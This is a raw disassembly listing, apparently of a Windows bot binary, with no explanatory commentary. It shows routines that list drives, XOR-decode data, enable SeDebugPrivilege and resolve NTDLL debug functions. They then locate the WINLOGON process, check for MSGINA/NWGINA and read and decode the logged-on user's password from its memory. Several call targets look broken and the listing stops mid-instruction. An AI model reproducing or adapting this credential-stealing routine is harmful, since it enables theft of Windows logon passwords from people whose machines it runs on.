___:0041669Fj mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_4376A4 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_4167F5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4167F5: ; CODE XREF: ___:004167D3j lea eax, [ebp-510h] push eax call sub_4151AC push 10h lea eax, [ebp-10h] push esi push eax call sub_41B590 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41B590 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset dword_43D128 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 2670C39h cmp eax, edi jnz short loc_416877 call dword_4CAECC call sub_418359 push esi nop call near ptr 77E75CB5h loc_416877: ; CODE XREF: ___:00416863j lea eax, [ebp-148h] push eax push offset unk_437670 jmp short loc_416891 ; --------------------------------------------------------------------------- loc_416885: ; CODE XREF: ___:0041643Ej lea eax, [ebp-248h] push eax push offset unk_437644 loc_416891: ; CODE XREF: ___:00416883j lea eax, [ebp-510h] push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4168C5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4168C5: ; CODE XREF: ___:004168A3j lea eax, [ebp-510h] push eax call sub_4151AC pop ecx loc_4168D2: ; CODE XREF: ___:00416695j ; ___:0041671Ej ... push dword ptr [ebp-18h] call dword_4CAFA8 push dword ptr [ebp-48h] call sub_40B412 pop ecx push esi nop call near ptr 26F0000h ; =============== S U B R O U T I N E ======================================= sub_4168EB proc near ; CODE XREF: ___:00416517p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416907 loc_4168F7: ; CODE XREF: sub_4168EB+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4168F7 locret_416907: ; CODE XREF: sub_4168EB+Aj retn sub_4168EB endp ; =============== S U B R O U T I N E ======================================= sub_416908 proc near ; CODE XREF: sub_401ACD+5841p ; sub_401ACD+5969p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D3BE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416922 proc near ; CODE XREF: sub_40F96A+458p ; sub_40F96A+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D2BA8 push 0 push edi call sub_41B590 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416947: ; CODE XREF: sub_416922+5Bj ; sub_416922+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41D480 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41D410 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416985 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416947 mov byte ptr [esi], 2Ch inc esi jmp short loc_416947 ; --------------------------------------------------------------------------- loc_416985: ; CODE XREF: sub_416922+4Bj dec esi mov eax, edi loc_416988: ; CODE XREF: sub_416922+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416997 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416988 ; --------------------------------------------------------------------------- loc_416997: ; CODE XREF: sub_416922+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416922 endp ; =============== S U B R O U T I N E ======================================= sub_4169A1 proc near ; CODE XREF: sub_416B56+51p ; sub_416B56+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFD4 sub eax, 0 jz short loc_4169E4 dec eax jz short loc_4169DE dec eax dec eax jz short loc_4169D8 dec eax jz short loc_4169D2 dec eax jz short loc_4169CC dec eax jz short loc_4169C6 mov eax, offset word_437834 retn ; --------------------------------------------------------------------------- loc_4169C6: ; CODE XREF: sub_4169A1+1Dj mov eax, offset off_437830 retn ; --------------------------------------------------------------------------- loc_4169CC: ; CODE XREF: sub_4169A1+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4169D2: ; CODE XREF: sub_4169A1+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4169D8: ; CODE XREF: sub_4169A1+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4169DE: ; CODE XREF: sub_4169A1+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4169E4: ; CODE XREF: sub_4169A1+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4169A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169EA proc near ; CODE XREF: sub_416A32+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CAE64 test eax, eax jz short loc_416A1F lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416A1F: ; CODE XREF: sub_4169EA+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4169EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A32 proc near ; CODE XREF: sub_416B56+17p ; sub_41AA42+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4169EA pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B10 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41D500 push edx push eax call sub_416922 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41B980 add esp, 10h pop ebx jmp short loc_416B42 ; --------------------------------------------------------------------------- loc_416B10: ; CODE XREF: sub_416A32+2Cj ; sub_416A32+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41B886 pop ecx pop ecx loc_416B42: ; CODE XREF: sub_416A32+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B56 proc near ; CODE XREF: sub_416C28+17p ; sub_416C28+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C070 add esp, 10h test eax, eax jnz short loc_416BC9 push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437884 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 14h jmp short loc_416BFD ; --------------------------------------------------------------------------- loc_416BC9: ; CODE XREF: sub_416B56+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437848 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 20h loc_416BFD: ; CODE XREF: sub_416B56+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_500] push eax call sub_4151AC add esp, 18h pop edi pop esi pop ebx leave retn sub_416B56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416C49 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h jmp short loc_416CAA ; --------------------------------------------------------------------------- loc_416C49: ; CODE XREF: sub_416C28+9j push esi push edi push ebx push ebx call dword_4CAEDC lea esi, [eax+2] push esi call sub_41B4D5 pop ecx mov edi, eax push edi push esi call dword_4CAEDC cmp [edi], bl mov esi, edi jz short loc_416CA1 loc_416C6D: ; CODE XREF: sub_416C28+77j push offset aA_1 ; "A:\\" push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_416C90 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h loc_416C90: ; CODE XREF: sub_416C28+54j push esi call sub_41AFE0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416C6D loc_416CA1: ; CODE XREF: sub_416C28+43j push edi call sub_41B0B1 pop ecx pop edi pop esi loc_416CAA: ; CODE XREF: sub_416C28+1Fj pop ebx pop ebp retn sub_416C28 endp ; --------------------------------------------------------------------------- byte_416CAD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+689Fo dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h dd 78E46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h dd 8D5018C4h, 0FFFB6485h, 78C468FFh, 0E8500043h, 4B06h dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh, 8D50F475h dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h dd 90535959h, 2D923BE8h, 5B5E5F02h, 81EC8B55h, 54CECh dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 2868FFFFh dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh, 45892CC4h dd 0BC858D1Ch, 50FFFFFEh, 0E8FC75FFh, 2359180h, 75C08590h dd 0FC75FF8Fh, 339173E8h, 75FF9002h, 0B8858D14h, 0FFFFFFFDh dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh, 43790Ch dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h dd 50FFFFFEh, 0F9E89056h, 85023590h, 56B175C0h, 3390EFE8h dd 458B9002h, 5B5E5F1Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41A8F4 cmp eax, esi mov [ebp+var_4], eax jz short loc_416F59 cmp eax, 2 jz short loc_416F59 push offset unk_437B00 jmp loc_417098 ; --------------------------------------------------------------------------- loc_416F59: ; CODE XREF: sub_416F1A+2Ej ; sub_416F1A+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx test eax, eax pop ecx jz loc_417093 push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 26B0C66h mov esi, dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D3DEC, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D3DE0, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D3FF0, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D3DE8, eax call esi mov dword_4D3DE4, eax call sub_4170EC test eax, eax mov [ebp+arg_0], eax jz loc_417066 mov esi, dword_42713C mov edi, 400h mov ebx, offset dword_4D2DE0 push edi push ebx push offset off_437A3C call esi push edi mov edi, offset dword_4D35E0 push edi push offset off_437A24 call esi cmp [ebp+var_4], 1 push offset dword_4D3FF8 push [ebp+arg_0] jnz short loc_417012 call sub_417275 jmp short loc_417017 ; --------------------------------------------------------------------------- loc_417012: ; CODE XREF: sub_416F1A+EFj call sub_41741C loc_417017: ; CODE XREF: sub_416F1A+F6j pop ecx test eax, eax pop ecx jz short loc_41705F cmp dword_4D3FF8, 0 jnz short loc_417046 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_4379C8 push 200h push eax call sub_41B980 add esp, 18h jmp short loc_417079 ; --------------------------------------------------------------------------- loc_417046: ; CODE XREF: sub_416F1A+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417056 call sub_417552 jmp short loc_41705B ; --------------------------------------------------------------------------- loc_417056: ; CODE XREF: sub_416F1A+133j call sub_4175E9 loc_41705B: ; CODE XREF: sub_416F1A+13Aj pop ecx push eax jmp short loc_41706B ; --------------------------------------------------------------------------- loc_41705F: ; CODE XREF: sub_416F1A+101j push offset unk_437990 jmp short loc_41706B ; --------------------------------------------------------------------------- loc_417066: ; CODE XREF: sub_416F1A+B6j push offset unk_437964 loc_41706B: ; CODE XREF: sub_416F1A+143j ; sub_416F1A+14Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_417079: ; CODE XREF: sub_416F1A+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push [ebp+var_8] nop call near ptr 27A03F6h pop ebx jmp short loc_4170A6 ; --------------------------------------------------------------------------- loc_417093: ; CODE XREF: sub_416F1A+4Ej push offset unk_437930 loc_417098: ; CODE XREF: sub_416F1A+3Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_4170A6: ; CODE XREF: sub_416F1A+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4170CD push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409A72 add esp, 14h loc_4170CD: ; CODE XREF: sub_416F1A+191j lea eax, [ebp+var_29C] push eax call sub_4151AC push [ebp+var_18] call sub_40B412 pop ecx pop ecx push esi call near ptr 26F0000h nop pop edi pop esi sub_416F1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427148 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427144 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D3DEC push ebp push 0 call esi push eax call near ptr 27B0000h nop push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D3DEC test eax, eax jnz short loc_4171D9 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4171D9 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4171D9 loc_417175: ; CODE XREF: sub_4170EC+EBj cmp word ptr [ebx+8], 5 jnz short loc_4171CC push 0 push 0 call dword_4D3DE0 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D3FF0 test eax, eax jnz short loc_4171BD mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4171F1 loc_4171BD: ; CODE XREF: sub_4170EC+AAj test edi, edi jz short loc_4171C8 push edi call dword_4D3DE8 loc_4171C8: ; CODE XREF: sub_4170EC+D3j mov eax, [esp+28h+var_10] loc_4171CC: ; CODE XREF: sub_4170EC+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417175 loc_4171D9: ; CODE XREF: sub_4170EC+6Dj ; sub_4170EC+7Aj ... xor edi, edi loc_4171DB: ; CODE XREF: sub_4170EC+17Dj push ebp push 0 call esi push eax call near ptr 27B0000h nop mov eax, edi loc_4171E9: ; CODE XREF: sub_4170EC+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4171F1: ; CODE XREF: sub_4170EC+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_41725A lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417207: ; CODE XREF: sub_4170EC+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41726E push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41724C mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41724C: ; CODE XREF: sub_4170EC+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417207 loc_41725A: ; CODE XREF: sub_4170EC+10Fj test edi, edi jz short loc_417265 push edi call dword_4D3DE8 loc_417265: ; CODE XREF: sub_4170EC+170j mov edi, [esp+28h+var_4] jmp loc_4171DB ; --------------------------------------------------------------------------- loc_41726E: ; CODE XREF: sub_4170EC+13Cj xor eax, eax jmp loc_4171E9 sub_4170EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417275 proc near ; CODE XREF: sub_416F1A+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call near ptr 26907E6h nop cmp eax, esi mov [ebp+var_4], eax jnz short loc_41729E xor eax, eax jmp loc_417419 ; --------------------------------------------------------------------------- loc_41729E: ; CODE XREF: sub_417275+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27D027Dh push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427148 push 8 call esi mov edi, dword_427144 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427150 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_4172EE xor esi, esi jmp loc_41740C ; --------------------------------------------------------------------------- loc_4172EE: ; CODE XREF: sub_417275+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call near ptr 27C0BBBh nop test eax, eax jz loc_4173FB mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4173FB test [ebp+var_2B], 1 jnz loc_4173FB push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4173FB loc_417351: ; CODE XREF: sub_417275+112j push edi push offset dword_4D2DE0 call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_417379 lea eax, [edi+200h] push eax push offset dword_4D35E0 call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417389 loc_417379: ; CODE XREF: sub_417275+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4173FB jmp short loc_417351 ; --------------------------------------------------------------------------- loc_417389: ; CODE XREF: sub_417275+102j test edi, edi jz short loc_4173FB lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 2760000h test eax, eax jz short loc_4173C4 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 27508E2h test eax, eax jz short loc_4173C4 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4173C4: ; CODE XREF: sub_417275+12Bj ; sub_417275+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4004, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D3FFC, eax mov dword_4D4000, edi loc_4173FB: ; CODE XREF: sub_417275+90j ; sub_417275+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 27B0000h mov esi, [ebp+var_10] loc_41740C: ; CODE XREF: sub_417275+74j push [ebp+var_4] call near ptr 26708E6h nop pop edi mov eax, esi pop ebx loc_417419: ; CODE XREF: sub_417275+24j pop esi leave retn sub_417275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 26907E6h test eax, eax mov [ebp+arg_0], eax jz loc_41750E mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 27D027Dh mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417505 mov edi, dword_427148 loc_417467: ; CODE XREF: sub_41741C+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 27C0BBBh test eax, eax jz short loc_4174F3 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4174F9 test [ebp+var_13], 1 jnz short loc_4174F9 push ecx push 8 call edi push eax nop call near ptr 27C0000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] nop call near ptr 27D0000h test eax, eax jz short loc_4174E5 push offset dword_4D2DE0 push esi call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_4174E5 lea eax, [esi+400h] push offset dword_4D35E0 push eax call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417515 loc_4174E5: ; CODE XREF: sub_41741C+9Fj ; sub_41741C+B0j push esi push 0 call edi push eax call near ptr 27B0000h nop jmp short loc_4174F9 ; --------------------------------------------------------------------------- loc_4174F3: ; CODE XREF: sub_41741C+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4174F9: ; CODE XREF: sub_41741C+71j ; sub_41741C+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417467 loc_417505: ; CODE XREF: sub_41741C+3Fj push [ebp+arg_0] nop call near ptr 26708E6h loc_41750E: ; CODE XREF: sub_41741C+1Ej xor eax, eax loc_417510: ; CODE XREF: sub_41741C+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417515: ; CODE XREF: sub_41741C+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D3FFC, ebx mov dword_4D4000, eax cmp [eax], cl jnz short loc_417537 cmp [eax+1], cl jz short loc_41753F loc_417537: ; CODE XREF: sub_41741C+114j ; sub_41741C+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417537 loc_41753F: ; CODE XREF: sub_41741C+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 26708E6h push 1 pop eax jmp short loc_417510 sub_41741C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417552 proc near ; CODE XREF: sub_416F1A+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D3FF8 push esi mov esi, dword_427148 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax call near ptr 27C0000h nop mov ecx, dword_4D3FF8 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4000 push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4004 push eax call dword_4D3DE4 push [ebp+var_4] mov 